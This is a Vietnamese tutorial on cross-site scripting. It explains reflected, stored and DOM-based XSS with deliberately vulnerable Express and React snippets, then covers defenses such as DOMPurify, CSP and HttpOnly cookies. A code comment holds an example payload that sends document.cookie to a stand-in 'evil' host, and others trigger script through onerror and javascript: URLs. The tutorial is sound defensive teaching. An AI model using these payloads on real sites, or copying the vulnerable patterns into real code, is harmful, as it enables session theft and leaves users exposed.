XSS (Cross-Site Scripting) cho phép attacker chạy JS trong browser victim — chiếm session, đánh cắp token, key logger. Bài này phân tích 3 loại XSS với code thực tế và cách defense layered.
3 loại XSS
Reflected XSS
Payload trong URL/form, server reflect ngay vào HTML response:
// ❌ Server vulnerable
app.get('/search', (req, res) => {
res.send(`<h1>Search: ${req.query.q}</h1>`)
})
// User mở: /search?q=<script>fetch('http://evil/'+document.cookie)</script>
// → script chạy trong browser victim
Stored XSS
Payload lưu DB (comment, profile bio), serve cho mọi user:
// ❌ Comment HTML render thẳng
app.post('/comments', async (req, res) => {
await db.comments.insert({ html: req.body.text }) // không sanitize
})
app.get('/post/:id', async (req, res) => {
const comments = await db.comments.findByPost(req.params.id)
res.send(comments.map(c => `<div>${c.html}</div>`).join(''))
// Mọi user vào page → execute payload của attacker
})
DOM-based XSS
Payload không tới server — JS client đọc URL/hash + render:
// ❌ SPA đọc hash
const username = window.location.hash.slice(1)
document.getElementById('greeting').innerHTML = `Hi ${username}`
// /#<img src=x onerror=alert(1)> → execute
React: auto escape + pitfall
// ✓ Auto escape — <script> thành text
function Comment({ text }) {
return <div>{text}</div>
}
// ❌ dangerouslySetInnerHTML — vulnerable
<div dangerouslySetInnerHTML={{ __html: comment }} />
// ❌ href user-supplied — vulnerable javascript:
<a href={userUrl}>Click</a>
// userUrl = "javascript:alert(1)" → execute on click
// ✓ Validate scheme
function safeUrl(url: string) {
try {
const u = new URL(url, location.origin)
return ['http:', 'https:', 'mailto:'].includes(u.protocol) ? u.href : '#'
} catch { return '#' }
}
<a href={safeUrl(userUrl)}>Click</a>
Sanitize HTML với DOMPurify
npm install dompurify isomorphic-dompurify
import DOMPurify from 'isomorphic-dompurify'
function CommentBody({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'a', 'strong', 'em', 'ul', 'ol', 'li', 'code'],
ALLOWED_ATTR: ['href'],
ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,
})
return <div dangerouslySetInnerHTML={{ __html: clean }} />
}
Whitelist tag/attr — ban mọi cái khác. Không dùng blacklist (luôn miss case).
Content Security Policy
Content-Security-Policy: default-src 'self';
script-src 'self' 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' https://cdn.alodev.vn data:;
connect-src 'self' https://api.alodev.vn;
frame-ancestors 'none';
base-uri 'self';
Inline script chỉ allow nếu có nonce match. Attacker inject script không có nonce → CSP block. Detail ở CSP guide.
HttpOnly cookie cho session
res.cookie('session', token, {
httpOnly: true, // JS không đọc được
secure: true, // chỉ HTTPS
sameSite: 'lax', // CSRF protection
maxAge: 86400_000,
})
XSS không lấy được session token → attacker chỉ có thể action trong context user còn login.
Defense in depth
- Output encoding: React JSX auto, sanitize HTML user
- Input validation: Zod schema reject payload obvious
- CSP: block inline + external script không trust
- HttpOnly cookie: token không reachable từ JS
- SameSite cookie: chống CSRF kết hợp
- Audit: ESLint plugin react/no-danger, OWASP ZAP scan
Kết luận
XSS không có "magic fix" — defense-in-depth. React + DOMPurify + CSP + HttpOnly cookie cover 99% case. Đặc biệt cẩn thận với dangerouslySetInnerHTML và URL từ user. Tham khảo CSP để config layer ngoài cùng.